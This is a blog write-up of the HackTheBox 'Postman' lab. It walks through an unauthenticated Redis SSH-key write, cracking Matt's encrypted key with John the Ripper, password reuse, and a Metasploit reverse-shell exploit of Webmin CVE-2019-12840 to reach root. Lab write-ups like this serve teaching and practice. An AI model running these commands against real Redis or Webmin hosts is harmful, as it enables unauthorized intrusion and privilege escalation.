DEV Community

Cover image for HackTheBox: Postman Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Postman Writeup

Summary

Postman is an easy-rated Linux machine on HackTheBox. The box exposes an unauthenticated Redis instance that allows writing an SSH public key to the redis user's .ssh directory, granting initial shell access. From there, an encrypted RSA private key belonging to user Matt is recovered, cracked offline with John the Ripper, and reused (due to password reuse) to su into Matt for the user flag. Enumeration of Matt's owned files reveals a hint pointing to the previously unchecked Webmin service on port 10000, where the same reused password grants admin access to Webmin 1.910 — vulnerable to CVE-2019-12840, an authenticated RCE via the Package Updates module — leading to a root shell.

Recon

nmap -sC -sV -p- -A <MACHINE-IP> -oA nmap
Enter fullscreen mode Exit fullscreen mode

Open ports:

Port Service Version
22 SSH OpenSSH 7.6p1 (Ubuntu)
80 HTTP Apache 2.4.29 — "The Cyber Geek's Personal Website"
6379 Redis Redis 4.0.9
10000 HTTP (initially missed) MiniServ 1.910 (Webmin), SSL-only

The port 80 site is a static personal page and doesn't yield credentials or paths directly. The standout finding is Redis on 6379 with no authentication configured.

Foothold via Redis Key Write

Connecting to Redis unauthenticated confirms no requirepass is set:

redis-cli -h <MACHINE-IP>
CONFIG GET *
Enter fullscreen mode Exit fullscreen mode

Key fields of interest:

  • requirepass — empty (no auth)
  • dir/var/lib/redis
  • dbfilenamedump.rdb

Since Redis runs as the redis system user (which has an .ssh folder in its home directory), the classic Redis SSH-key-write technique applies: tell Redis to save its data file directly into ~redis/.ssh/authorized_keys, with an SSH public key stored as the value of a Redis key. The padding newlines around the key keep the surrounding RDB file bytes from corrupting the key line.

(echo; echo; cat ~/.ssh/id_rsa.pub; echo; echo) | redis-cli -h <MACHINE-IP> -x set mykey
redis-cli -h <MACHINE-IP> config set dir /var/lib/redis/.ssh
redis-cli -h <MACHINE-IP> config set dbfilename authorized_keys
redis-cli -h <MACHINE-IP> save
Enter fullscreen mode Exit fullscreen mode
ssh -i ~/.ssh/id_rsa redis@<MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode

This lands a shell as redis (uid 107, low-privilege, group redis only).

Privilege Pivot: Matt's Encrypted SSH Key

As redis, a search for files owned by Matt turns up:

find / -type f -user Matt 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

Notably /opt/id_rsa.bak — a PEM RSA private key, encrypted (DEK-Info: DES-EDE3-CBC). After copying it locally and preparing it for cracking:

ssh2john matt-key > matt-key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt matt-key.hash
Enter fullscreen mode Exit fullscreen mode

John recovers the passphrase: computer2008.

Decrypting the key locally with openssl rsa -in matt-key -out matt-key-decrypted works, but a direct SSH login attempt as matt using the decrypted key is rejected (key not authorized for that account over SSH). Given the password reuse pattern already established by needing it to decrypt the key, the same passphrase is tried directly against the Matt Linux account from the existing redis shell:

su Matt
# password: computer2008
Enter fullscreen mode Exit fullscreen mode

This succeeds, yielding the user flag at /home/Matt/user.txt.

sudo -l confirms Matt has no sudo rights, so a different angle is needed for root.

Escalation: Webmin RCE (CVE-2019-12840)

Reviewing files owned by Matt again surfaces /var/www/SimpleHTTPPutServer.py, a custom Python 2 HTTP PUT server script. This is a hint that port 80 isn't the only web service worth revisiting — prompting a second look at port 10000, which earlier scans flagged only generically as MiniServ/Webmin and had not been enumerated further. Browsing to it over HTTPS shows a Webmin login page for host postman.htb, with the dashboard (once authenticated) confirming Webmin version 1.910 on Ubuntu 18.04.3.

Given the established password reuse pattern, Matt / computer2008 is tried against the Webmin login and succeeds with admin access.

Webmin 1.910 is vulnerable to CVE-2019-12840, an authenticated remote command execution in the Package Updates module, exploitable via Metasploit:

use exploit/linux/http/webmin_packageup_rce
set rhosts <MACHINE-IP>
set rport 10000
set ssl yes
set username Matt
set password computer2008
set lhost <LOCAL-TUN0-IP>
set lport 3333
run
Enter fullscreen mode Exit fullscreen mode

The module returns a command shell running as root:

whoami
root
cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

Flags

  • User flag (Matt): HTB{REDACTED}
  • Root flag: HTB{REDACTED}

Attack Chain

  1. Unauthenticated Redis (6379) → write SSH public key into redis user's authorized_keys via CONFIG SET dir/dbfilename + SAVE
  2. SSH in as redis (low-privilege foothold)
  3. Locate /opt/id_rsa.bak, an encrypted RSA key owned by Matt
  4. Crack passphrase offline with ssh2john + John the Ripper + rockyou.txt → computer2008
  5. Password reuse: su Matt with the cracked passphrase → user flag
  6. Enumerate files owned by Matt, find a hint pointing back to an unchecked web service on port 10000 (Webmin)
  7. Password reuse again: log into Webmin 1.910 as Matt / computer2008
  8. Exploit CVE-2019-12840 (Package Updates module authenticated RCE) via Metasploit → root shell → root flag

Key Vulnerabilities

Vulnerability Description
Unauthenticated Redis instance No requirepass set; allows arbitrary file write via CONFIG SET dir/dbfilename + SAVE, enabling SSH key injection
Weak/reused credentials Passphrase computer2008 protecting Matt's backup SSH key was crackable via rockyou.txt and was reused for both the Linux account and the Webmin panel
CVE-2019-12840 Webmin ≤ 1.910 Package Updates module authenticated remote command execution, leading directly to root
Sensitive file left on disk /opt/id_rsa.bak, an encrypted private key for Matt, was world-readable and enabled the entire escalation path

Top comments (0)